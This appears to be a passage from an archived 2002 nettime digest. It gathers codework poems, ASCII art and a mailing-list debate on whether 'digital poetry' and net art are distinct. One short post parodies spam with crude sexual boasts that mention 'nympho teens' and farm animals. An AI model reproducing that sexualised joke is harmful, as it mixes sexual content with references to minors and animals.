even related. there are limits to codework; on one hand\nthe code itself, on the other the process the code sends - what - through\n- text/image/subject/object/monad/desire - think of it as retinal\nfiltering - that is the isolation, production, and naming of objects\nwithin the continuum of the world - it's both structure and generative\nprocess - the latter tending towards ontology.\n\nwhat is, is the domain of production - the input, to the extent that it is\ntext/image etc. - i.e. not generated within the program itself - is\nparasitic, the third term within the communication process - on one hand\ntraditional 'content' - on the other - 'noise' within the system that\nmodifies and is modified by the output.\n\ni tend to think of this in terms of two large-scale operations - that of\nconsciousness and its relation to inputting and outputting - fuzzy and\nrough domains at best - not a behavior analysis - but one stressing the\ninterpretation and phenomenology of consciousness within the filter -\nseeing this as the way the world is, that is to say the relationship of\nconsciousness to the world is vis-a-vis formal and informal systems in\nwhich filtering/language produces discrete elements in relation to\nconsciousness on one hand and the world on the other -\n\nand then again - the second large-scale operation - that of the universe -\nplasma, virtual particles - the disruptions and collusion/collocation of\nstructures - momentary buildups, impediments - codework at the limits in\nother words connecting, a connector among others, between self and cosmos\n- without descent into the mu of zazen for example - or ma, space/interval\n- looking at correlated particles for example in relation to, but not\nalways, the space between them -\n\nso that there is a production of meaning, the gleaning from across all of\nthis - structure, process, the parasitic - it's the production that is\nalso an inhabitation and interpretation by consciousness - it's the\nsituation of being-human in the world - it's worlding itself -\n\nat least this is how it seems to me, the movement-genre is irrelevant -\nwhat's important is the exploration of consciousness and the relationship\namong articulated entities in the world - there's something of cognitive\npsychology to this (but messier) and something of art as well (but more\nexact, almost uncomfortable, diacritical) -\n\nnot a movement or genre but the loose domain or pooling of the confluence\nof structure and content (in the traditional sense), subject and object\n(in the traditional sense), i and not-i (in the traditional sense) -\ndichotomy itself - or the very nature of distinction - the sheffer stroke\nor its dual for example as the basis - neither a nor b - not both a and b\n- already tending towards the quantum mechanics of superimposition and the\nphenomenology of the gesture -\n\n\n===\n\n\n\n\nDate: Sat, 28 Sep 2002 20:20:11 +0200\nFrom: +   lo_y.  + <loy {AT} myrealbox.com>\nSubject: >| || . || 28-9-2002-11:49 |_| 251363 2\" ||\n\n\n( \" my realbox seems to be kaput \" )\n\n >[7-11] | || . || 28-9-2002-11:49 |_| 251363 2\" || red||||||blue|||\n||||||orange|| black|green '| | ~\" || . |\n >\n >Johan Meskens CS2 jmcs2 7-11 {AT} mail.ljudmila.org\n >Sat Sep 28 19:59:01 2002\n >\n >Previous message: [7-11] | || . || 28-9-2002-11:49 |_| 251363 2\" ||\nred||||||blue||| ||||||orange||black|green '| | ~\" || . |\n >Next message: [7-11] | || . || 28-9-2002-11:49 |_| 251363 2\" ||\nred||||||blue||| ||||||orange||black|green '| | ~\" || . |\n >Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]\n >\n >\n >lo_y wro_te :\n >\n > > >\" ~ became .\n > > >\" ~ became .\n > > >\"   added   ,\n > >\n > > \" welcome back \"\n >\n >--\n >--\n >--\n >--\n<--\n >--\n >\n >\" back ? where ?\n >\n\" in lo_y's cosy little \"inbox > lists > 7-11\" box \"\n\n >--\n >--\n >--\n\n( \" inserting these &gt; manually \" )\n >--\n >--\n >--\n >\n >\" back to where ?\n\n\" i can send you to inbox > zzrchive > archive > text-art > jmsc2 if you wish \"\n\n\" or to inbox > persons > jmcs2 \"\n\n >--\n >--\n<--\n >--\n >--\n >--\n >\n >\" i presume you have place in mind ?\n\n\"i have no mind.  only data\"\n\n >--\n >--\n >--\n<--\n >--\n >--\n >\n >\" ort ?\n\nno waddu?\n\n >--\n >--\n >--\n >--\n >--\n >--\n\n >\" spot ?\n\nhttp://www.bright.net/~games/spot.jpg\n\n >--\n >--\n >--\n >--\n<--\n >--\n >\n >\" you traced ?\n\n\" traced what? \"\n\n\n\n\n------------------------------------------------------------\n--------------lo--------------------------------------------\n                       -\n-----------------------y------------------------------------\n------------------------------------------------------------\n-------------PTRz:\nhttp://rhizome.org/object.rhiz?5852\nhttp://trace.ntu.ac.uk/incubation/gallery.cfm\nwww.muse-apprentice-guild.com\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\n------------------------------------------------------------\n------------------------------------------------------------\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ###########\nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n/ /____|##################################################################\n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n>\n>\n\n\n\n\n\nFrom: Johan Meskens CS2 jmcs2 <johanmeskenscs2 {AT} chromaticspaceandworld.com>\nSubject: |   || . || 1-10-2002-13:40 |_| 211251 1\" || blue|||black|||||orange||||||black||red||||||red 'black ~\" || . |\nDate: Tue, 1 Oct 2002 13:43:44 +0200\n\n'|-c-k-h-o-h-i-n-e-|'.a\n|   || . || 1-10-2002-13:40 |_| 211251 1\" || \nblue|||black|||||orange||||||black||red||||||red 'black ~\" || . |\n\" c-k-h-r-o-m-a-c-h-i-n-e became |-c-k-h-o-h-i-n-e-|\n\" . rA m-ined .\n\" . rA m-ineeT .\n\"   -ddAd nHHtn'tT\n\"\n\" 'Rr.Mm.Cc.Aa+\n    R-,M-,C-,A-/0\ni n i n0c0o r0c0c0c0c0c0->xx---4  -3\nh   m0c0o n0c0r0c0n o k ->x----1  -4\nn r0c0i h r m0c0h o   h ->x---5    0\nh n r o0c0r0c0i n     o ->xxx--4  -3\nm   h     k0c0m o o r h ->x----3   4\nh i n n h   h n m   r   ->----4\nn o m i n0c0h m0c0c0c0h ->x---3   -5\nk h h   h0c0i n n h n k ->xx--1   -3\nr k k i h o m0c0i n m i ->-----4   4\nh o o0c0k r i o m n r h ->x---6    5\no h i h0c0o k h h m o0c0->x----5   5\nk h h0c000c0m   o00000c0->----3   -1\nW_/_up                  ->x---3    1\n0 A h h 0 0 n k n r A o ->----4    5\nA n 0 k 0 0 n i r k A i ->xx--3   -1\nh 0 m A 0 0 A h 0 o A o ->x---5    2\no m A r i h 0 o k r A h ->----4   -2\no m 0 0 0 h i A r k o 0 ->xxx--5  -3\nk n h i r o h h i i 0 h ->x---4    3\n0 h h k k h n A h A r i ->x----5\ni n 0 k 0 k h k k n 0 m ->----0    0\no h h r 0 r 0 k k h h h ->xx---2  -5\nn h i h i k k 0 0 i i k -> x--1\nn 0 h k 0 h A o m h 0 Aleandri-3aro3     ,ZE ->X\n\n\n\n\n\n.\n\n\n\n\n\n\n\n\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\n\nDate:         Sun, 29 Sep 2002 13:48:16 -0700\nFrom: august highland <hmfah {AT} HOTMAIL.COM>\nSubject: i want it now\n\ni want a bigger penis, a submissive she-male, i want to make millions of\ndollars through mass-emailing, i want to make millions of dollars helping\npeople in nigeria and argentina by rescuing them from whatever they need to\nbe rescued from - and i want some sophomore sluts -  and a bigger penis - oh\ni said that already - well i want a really really big one for when i visit\nthose nympho teens at the farm - and in case my enlarged penis doesn't\nmeasure up to the farm horses and bulls i will use mind control to seduce\nthem - that should work\ncheers,\naugie\n\n\n\nDate: Wed, 02 Oct 2002 16:39:06 +0200\nFrom: =?ISO-8859-1?Q?=A4?= <mi_ga {AT} o-o.lt>\nSubject: Tunisian, arab and african carpets (was Re: unsubscribe)\n\nu-n-s-u-b-s-c-r-i-b-e\n-                   -\nn                   b\n-                   -\ns                   i\n-                   -\nu                   r\n-                   -\nb                   c\n-                   -\ns         s         s\n-                   -\nc                   b\n-                   -\nr                   u\n-                   -\ni                   s\n-                   -\nb                   n\n-                   -\ne-b-i-r-c-s-b-u-s-n-u\n\n\nTomas M. wrote:\n> unsubscribe\n> \n> p____________o____________s_____________t\n> a       r       c       h       i       v       e   http://www.o-o.lt/post\n> \n> \n\n\np____________o____________s_____________t\na       r       c       h       i       v       e   http://www.o-o.lt/post\n\n\n\n\n\n\n\nnettime unstable digest vol 15\nSat Oct  5 11:24:05 2002\n\n\nSubject: From: \n    From: =?iso-8859-1?Q?=2D=2A=2A=2D=2F=2D=B6=2D=2D=FD=2D=2A=2D=2D=2D=2F=2F=FD=FD=FD=FD=FD=FD=FD=FD=FD?=.=?iso-8859-1?Q?=FD=FD=FD=FD=FD=FD=FD=FD=FD=FD=FD=FD=FD=FD=FD=FD=FD?=.=?iso-8859-1?Q?=FD=FD=AE=2D=2D=2D=84=2D=2D=2D=2D?=.=?iso-8859-1?Q?_?=.=?iso-8859-1404 {AT} sm\n\nSubject: 1000 jodi flowers\n    From: claudia westermann <media {AT} ezaic.de>\n\nSubject: sleepless night impromtu\n    From: august highland <hmfah {AT} HOTMAIL.COM>\n\nSubject: Re: sleepless night impromtu\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n\nSubject: why codework\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\nSubject: >| || . || 28-9-2002-11:49 |_| 251363 2\" ||\n    From: +   lo_y.  + <loy {AT} myrealbox.com>\n\nSubject: |   || . || 1-10-2002-13:40 |_| 211251 1\" || blue|||black|||||orange||||||black||red||||||red 'black ~\" || . |\n    From: Johan Meskens CS2 jmcs2 <johanmeskenscs2 {AT} chromaticspaceandworld.com>\n\nSubject: i want it now\n    From: august highland <hmfah {AT} HOTMAIL.COM>\n\nSubject: Tunisian, arab and african carpets (was Re: unsubscribe)\n    From: =?ISO-8859-1?Q?=A4?= <mi_ga {AT} o-o.lt>\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rohrpost syndicate webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    poetics siratori trAce wryting \n$Id: digestunstable.pl,v 1.10 2002/09/21 09:05:08 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 5 Oct 2002 11:26:06 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200210051743.g95HhW007862 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0210/msg00017.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 15"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00087",
                "content": "\nDate: Sat, 9 Nov 2002 12:15:36 -0800 \nFrom: \"Marisa S. Olson\" <marisa {AT} sfcamerawork.org> \nSubject: Re: RHIZOME_RAW: \"digital poetry\" vs net art \n\n\n>Are \"digital poetry\" and net art two distinct genres?  And, perhaps \n>more importantly, should they be?\n\nlewis,\n\nan interesting question, though i do wonder if \"digital poetry\" isn't a\nromanticization of work (text-based or otherwise) constructed and/or\nexperienced in/with digital media.\n\nof course you know that your question involves defining the \"products\"\nof two practices that tend to defy definition--particularly among these\nobject-oriented lines.  however, i would most certainly say that there\nis a \"poetics\" of \"net art,\" in the sense that there are specific\nrhetorical, narratological, structural conditions under which the work\nis made, represented, distributed, accessed, interpreted, etc.. the\nmeans, modes, and vehicles by which it signifies....\n\nmarisa\n\n\n_________________\nMarisa S. Olson\nAssociate Director\nSF Camerawork\n415. 863. 1001\n\n\n\nFrom: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>:\nSubject: Re: \"digital poetry\" vs net art\n\nAt 05:52 PM 8/11/2002 -0800, LL wrote:\n>Would be ineterested quite alarmingly in responses to this question:\n>\n>Are \"digital poetry\" and net art two distinct genres? And, perhaps more \n>importantly, should they be?\n\n\n.setting. the.cat. a.m.ongst.the.pro.verb[d]ial[up].klee|stool.pidgins.\n.re.routed.D-villes.ad[d]vokat.\n.gen[de]r.e.vacuu[groo]med[bracket].packets.\n\n\n..........||...............................||..............................................||\n[+sense.auteurity.sniffling+]\n\n}\n.di.[f]lute.\n+\n.dye[d with a parsing spoon].late.\n+\ndi.s[in]sect[of the bo.vine.theory.x.tract]ion\n}\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Sat, 9 Nov 2002 23:14:35 -0500 (EST)\nSubject: Re:  Fwd: Re: RHIZOME_RAW: \"digital p[h]e[ave]tting\" vs\n\n\n\nWhat is wrong with ego? And you keep going back to what you like, what\nyou're looking for, etc. - that really doesn't have that much to do with\ndefinition, more to do with your own tastes - even the many-to-many model\nyou propose is one you want to see, the collapsed production / product you\ncall utopia, is yours. In some ways, it's oddly reminiscent of the process\nart and aesthetics of the 70s - for example Robert Morris' continuous\ntransformations at Castelli -\n\nThe definitions you use are so personalized, they're hard to agree or\ndisagree with. For me, mez and for that matter myself - we _are_ the\nnetwork - it just may not be in you to see it that way -\n\nAlan - thinking also of nn for example, Meskens, solipsis, highland\n\nOn Sun, 10 Nov 2002, Lewis LaCook wrote:\n\n> but that leads to ego...i mean, the way i try to look at works is to\n> isolate the work from whatever i know about the worker////i'm not\n> looking for a taxonomy of workers, but a taxonomy of working....\n>\n> of course, as with all theoretical claptrap, it's nowhere near\n> exact...\n>\n> but the economy of seeing works that way is to fall into ye olde kult\n> of personality: as i wondered a few weeks back on the poetics list,\n> why do we have favorite poets as opposed to favorite poems?\n>\n> and me? hell, i'm as guilty, if not moreso, than anyone...\n>\n> bliss\n> l\n>\n> --- In webartery {AT} y..., \"Talan Memmott\" <talan {AT} m...> wrote:\n> >\n> > > what  distinguishes one way of working from another///   [?]\n> >\n> > the practitioner....\n\n\nhttp://www.asondheim.org/ and http://www.anu.edu.au/english/internet_txt\nolder at http://lists.village.virginia.edu/~spoons/internet_txt.html\nTrace projects at http://trace.ntu.ac.uk/writers/sondheim/index.htm\ncdroms of work 1994-2002 available: write sondheim {AT} panix.com\n\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Sat, 9 Nov 2002 23:23:15 -0500 (EST)\nSubject: Re:  Fwd: Re: RHIZOME_RAW: \"digital p[h]e[ave]tting\" vs\n\n\n\nThis makes no sense to me - the network first of all is open, second of\nall, there's nothing wrong with an ego trip - we are all equally working\nout of them - and I can't help it if you don't see the difference between\none circle and another. Webartery is a circle, for example - rather use\npeer group, but it's all the same.\n\nAnd the network spills everywhere - it's NOT just the net, but\nperformance, video, fleshmeets, conferences, telephone calls, pdas, etc.\netc. And it's not just one network (my error) but networks and networking.\n\nMost of the artists btw I respect are tremendous egotists; they have to be\nin order to survive. And I see nothing wrong with that. I might not want\nto be around one or another person, but that's ok too.\n\nAlan\n\nOn Sun, 10 Nov 2002, Lewis LaCook wrote:\n\n> but that's CLOSED...if your little circle is the network (which is\n> one helluva ego trip, my friend), what separates your little circle\n> from what you claim to hate in the politics of this country?\n>\n> bliss\n> l\n>\n \n\n\n\nFrom: \"Wally Keeler\" <poetburo {AT} sympatico.ca> \nSubject: Re: RHIZOME_RAW: \"digital poetry\" vs net art \nDate: Sat, 9 Nov 2002 23:11:01 -0500 \n       \n \n\n\nYou are a Unit of Verse in the Unitverse\n\n\n\n\n\n\n\n\n> > hi marisa...\n> > \n> > i agree that \"digital poetry\" is often a romantic term...\n> > \n> > what i'm looking for is perhaps this...i've been thinking lately\n> > about the distinction between functional and decorative, and how it\n> > applies to art on the web...a lot of the \"digital poetry\" crowd is\n> > comprised of artists who make animations of words--at best, the\n> > reactivity and interaction required of the user is touching rollover\n> > buttons===which in flash, we know, takes almost no knowledge of code\n> > at all...these works seem to me to be remaking cinema, which, as you\n> > and i know, we already have...\n> > \n> > i guess it boils down to this: what's the difference between say, a\n> > piece by mez and the recent gogolchat by jimpunk and christophe\n> > bruno? because it's here i see the distinction most\n> > clearly...gogolchat is highly functional:::it explores\n> > user-interaction...it requires the network in order to manifest\n> > itself (that being for me one of the true signs of a pure net\n> > work...mez's connection to the network, at least in regards to her\n> > multimedia works, is less tangible////the work does require the !\n> > network, but in a passive way, that is, it requires email list-servs\n> > for distribution, and takes much of its language from a kind of\n> > pantomime of code itself...///it's more interactive than digital\n> > cinema, but less so than a work like gogolchat (or chris fahey's\n> > ada1852)----\n> > \n> > me, i just want a net art that is truly an art fitted to its\n> > medium...i want a net art that literally requires the net work in\n> > order to manifest itself...\n> > \n> > bliss\n> > \n> > l\n\n\n\n\n\nFrom: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\nSubject: Re: \"digital poetry\" vs net art\n\n\n[d.fine + d.volute::]\n\n.core dumping + re.hash mode[m]\n.re.sist.or dross + spewing.statics.in.polemic.placements.\n\n[sick.making]\n\n.\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Sat, 9 Nov 2002 23:40:48 -0500 (EST)\nSubject: Re:  Fwd: Re: RHIZOME_RAW: \"digital p[h]e[ave]tting\" vs\n\n\n\nThat's a good question. For one thing, the desire to distinguish, even\ndraw boundaries, I think is a good and productive desire for the most part\n- it certainly has a lot to do with style in art. Second, there may be\nnothing wrong with pain and suffering if it's self-afflicted in the\nproduction of work - I've even been thinking about Stelarc that way.\n\nI'm enjoying this exchange, mainly between you and mez, by the way -\n\nAlan\n\nOn Sun, 10 Nov 2002, Lewis LaCook wrote:\n\n> the old buddhistic thing:\n> ego is a particular type of desire...the desire to distinguish\n> oneself from others (identity)///////the thing that gets me red under\n> the collar, which is the pain it causes////\n> get rid of desire, get rid of pain////\n>\n> but how get rid of desire and still have motivation?\n> bliss\n> l\n>\n> --- In webartery {AT} y..., Alan Sondheim <sondheim {AT} p...> wrote:\n> >\n> >\n> > Hi Lewis, still confused, but I came late - why would ego\n> necessarily lead\n> > to pain (although a lot of the artists I know are in pain, mind\n> you)?\n> >\n> > Alan\n> >\n\n\n\n \n\n\n\n\n\n\nDate: Sun, 10 Nov 2002 22:02:14 +0000 \nFrom: \"ruth catlow\" <ruth.catlow {AT} furtherfield.org> \nSubject: Re: Fwd: Re: RHIZOME_RAW: \"digital poetry\" vs\n       \n \n\n\n\n\nlewis lacook wrote:\n\n> me, i just want a net art that is truly an art fitted to its\n> medium...i want a net art that literally requires the net work in\n> order to manifest itself...\n\nI think this gives the institutions and the structures of the net work\nfar too much respect. Isn't this like saying that we only want art that\nrequires the cubey white walls of a gallery? Why are you so eager to\nsquash your squishy, expressive, human flesh sourced imaginations  into\nthe predetermined and rigid labyrinths of mathematically determined\nstructures?\n\nI know that my own attraction to 'net art that literally requires the\nnet work in order to manifest itself' is linked to a desire for the\nsafety of limits, control, submission paired up paradoxically with a\nridiculous programmed fear and respectful awe of the superior\nintelligence/functionality ascribed to the 'coded' art work. (I do\nregard this attraction as perverse-hehe)\n\nPerhaps it is similar to a call for evidence of craft in art, a proof\nthat the artist is doing something that most people consider themselves\nincapable of doing. Or a call for provable rigour. It is definitely a\nstep towards cyborgism which I don't have a problem with per se but\nwhich I find it hard to get excited about.\n\nAlso don't think we can overlook the many different ways that artists\ncome to be net artists often starting with the 'decorative, and how it\napplies to art on the web... making animations of words--at best, the\nreactivity and interaction required of the user is touching rollover\nbuttons===which in flash, we know, takes almost no knowledge of code'\n\nThe animations and 'decorations' represent one of the roots/routes to\nnet art . Or do we insist that in order to enter a 'pantheon of net art'\nthe artist is prepared to dedicate a significant proportion of their\npractice to learning and manipulating code. If this is what we are\nsaying, then if we want a burgeoning of excellent and relevant work we\nneed to set up apprenticeships for the learning of the craft of code,\notherwise we may find that we are excluding a whole gamut of artists\nwith insight and talent but no facility for code and therefore no way to\ncommunicate. And what about how that time might otherwise be usefully\nspent, researching and exploring other relevant human issues. Or perhaps\nthis is finally an admission that like in films we now need a team of\npeople with different areas of expertise to accomplish a net art work.\n\nThe net does not just provide a distinct medium but represents a\nplatform for a distinct but very diverse culture with a distinct means\nof distribution. I think that 'net art that literally requires the net\nwork in order to manifest itself' maybe could include art that needs the\naudience to receive knowledge of its existence through their emails in\norder for it to resonate. Some very simple image and text web pages are\nvery successful in communicating poetics as true and rigorous and\nrelevant as any net work exclusive works. And the fact that I receive\nthem in my inbox influences how the pieces are received.\n\nThanks Lewis for starting this up\n\ncheers\n\nRuth\n\nfurtherfield.org\n\n\n\n\n\nFrom: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\nSubject: Re: \"digital poetry\" vs net art\n\nAt 02:50 PM 9/11/2002 -0800, LL wrote:\n>don't misunderstand me too quickly!\n\n.hoarse\n.-[quarterer N]\n.-drawn\n.&\n.print\n.echo\n.s.pin[e]al\n.[s]t[r]apped............\n\n>i don't want nor believe they SHOULD be distinct forms...BUT it all too \n>often seems to me that they are...\n\n\n.seams\n.2\n.me[me[\n\n\n>there's a fundamental difference between, say, 'the dreamlife of letters' \n>and jimpunk/bruno with their gogolchat....and all too often, looking at \n>works that tout themselves as 'digital poetry,' i'm \n>disappointed...disappointed because there's so much potential in the \n>medium not being used...too often i see nothing more than text that \n>moves...which is great, but no different than cinema, and not indicative \n>of a new artform...or i see works that use rollovers as their only source \n>of user-interaction, which, while justifying their presence on the machine \n>and network, and introducing some reactivity to the work, is still pretty \n>basic stuff (and with the tools used, require no writing or understanding \n>of code)...\n\n.these\n.wurks\n.r\n.[k]not\n\n\n:.\n.d|[con]fined\n.bi\n.yr\n.own\n.d[efinition]box\n\n.u[se]\n.unda\n.write\n.with\n.out\n.C++.ing\n\n>all of which is fine, really (some of these works are quite beautiful and \n>intriguing)...but i hunger for more (as usual, being American, which is \n>probably why we screw the world up so often)....\n\n.&\n.mis\n.\n.match[ing]\n\n.my\n.re:[4]ply\n.weaves.\n.the\n.[s]sense\n.of\n.soft+hard.\n.w.here.\n\n.net.wurked\n.in\n.w.here[?].\n.\n.XXssed\n.+\n.broken.\n\n>i want a new art form, a new form of digital poetry that's less cinematic...\n\n.a.gain[st]\n..\n....\n......\n.yr.\n.printL[b]o[x]a[n]d[N + yoke]\n.grain\n\n.u\n.do.NT.\n\n>why can't a digital poem do what gogolchat does, or what chris fahey's \n>ada1852 does? is there work out there like that? where can i see it? \n>because i desperately want to see it...\n\n.dis.[UR]Locate\n.\n..\n...\n.ur-locate\n.if\n.u\n.can.\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Sat, 9 Nov 2002 23:47:54 -0500 (EST)\nSubject: Re:  Fwd: Re: RHIZOME_RAW: \"digital p[h]e[ave]tting\" vs\n\n\n\nOne's 'in the picture' in a different way when calculating - there's a\nconstant movement in and out (maybe related to what David Finkelstein, the\nphysicist, once said to a pure mathematician he was being interviewed by -\n\"I'm fucking reality,\" \"you're masturbating\" - in other words, in doing\ncode or physics, there are formal limitations and feedbacks - in doing a\nstraightforward poem or painting I can lose myself in an entirely\ndifferent way) - Alan -\n\nOn Sun, 10 Nov 2002, Lewis LaCook wrote:\n\n> well, that's part of the egolessness for me....\n> you become completely absorbed in the work....with music there's an\n> immediacy that helps.....with hypermedia, there's the distance of\n> stepping back and looking at it////\n> just losing identity in the work////\n> which does not mean not calculating!\n>\n> bliss\n> l\n>\n> \"i love the gesture which corrects emotion\"\n> -braque\n> --- In webartery {AT} y..., Alan Sondheim <sondheim {AT} p...> wrote:\n> >\n> >\n> > Is working in an egoless state the best way to work or be? I\n> > understand this in zen certainly, and it's something I think I\n> > occasionally achieve when playing instrumentally, but the very\n> > exigencies of digital work, however it's defined, requires one to do\n> > what Ruth Bunzel talked about (believe it or not) in relate to\n> > Pueblo potters - the most successful (from Ildefonso) were those who\n> > stepped back constantly to see what they were doing/had done. In the\n> > case of the potters, the coding was the hand- measurement around the\n> > pot, necessary to keep the patterning coherent. Do that, make the\n> > decoration, step back, go into it again. It seems to me that\n> > coding's like that, a constant immersion and stepping-back -\n> > tweaking the language or program that produces the language or\n> > javascript etc. etc.  -\n> >\n> > Alan -\n\n\nDate: Sun, 10 Nov 2002 22:07:50 +0000 \nFrom: \"ruth catlow\" <ruth.catlow {AT} furtherfield.org> \nSubject: Re:\"digital poetry\" vs net art \n       \n \n\n\n\nOne last thing. Wittgenstein said this-\n\n'Even when all possible scientific questions have been answered, our\nproblems of life remain completely untouched'\n\n  ////\nOO\n<    ?\n~\n\n\n\n\n\n> > \n> Re: \"digital poetry\" vs net art\n> \"Wally Keeler\" <poetburo {AT} sympatico.ca> dit:\n> \n> \n> \n> \n> You are a Unit of Verse in the Unitverse\n> \n> \n> indeed i am, wally...and a small one, at that!  (thank god!)\n> bliss\n> l\n\n\n\n\n\nFrom: \"dis.[UR]Locate\" <netwurker {AT} hotkey.net.au>\nSubject: Re: \"digital poetry\" vs net art\n\n\n\n__________[Up.]Dated Sun.day, November 8th, 2002______________________\n\n- re:placed the new.Nce re.C#.[Ever.crack[l]ing]ding! with a ripped \n[double] blind.\n\n- re:moved all references 2  L.[747]boeing yr way in2 the sense.less.\n\n- d.bugged [not happy]jan.re:cauling & yr passi[e]ve][+a.dam][.printLoad. \nwanderings\n\n- s.witched ab.sor[e]ption modes 2 \"Sau[fi]ssureStunNRun\" or \n\"NeedANetWurkingSerialNumberQuickAnyHelpwillbeAppreciated\"\n\n- stripped disLocate modules + toggle mode is now operational un.duh these \nsett[l]ings:\n         1. my mind is codeDark & S[en.s][t][ory]D[eprivation]blank.\n         2. i canKnot  re:align.\n         3. u push my buttons + run[::end].\n         4. i'll squ[ID]eal, i will!\n         5. u stink of code piss.\n         6. let me wind u down //[grindMode].\n         7. s.wing_shifting my fluid way in2 yr organ_head.\n\n\n\n\nFrom: \"Talan Memmott\" <talan {AT} memmott.org>\nDate: Sun, 10 Nov 2002 00:27:53 -0500\nSubject: Re:  Fwd: Re: RHIZOME_RAW: \"digital p[h]e[ave]tting\" v(s[t] art)-sp(ac)eak\n\n\n> cave.work emerging as 3d caves become more common - it might even be\n> transmittable through InternetII - Alan\n>\n\nThe main things that will be needed for network cave.work, aside from\nbandwidth, are display technologies -- the price of goggles is steep, and\nthey just aren't widely available because there is not much use outside of a\nCAVE, and there will have to be a shift to stereo monitors (fish tanks as\nthey're called) that display on three screens... Still the body effect of\nthe CAVE will be lost to the 'home user' if this is the route taken... I\nsuppose more of a 'holodeck' approach is possible with multiple projectors,\nlike making the room the display, but this is not too economically\nreasonable.\n\nThe programming for the CAVE will have to get a lot less burdensome as well,\neven with broadband and Internet II....\n\nBut there is huuuuuuuuge potential in these spaces...\n\n\n\n\n\nFrom: \"Wally Keeler\" <poetburo 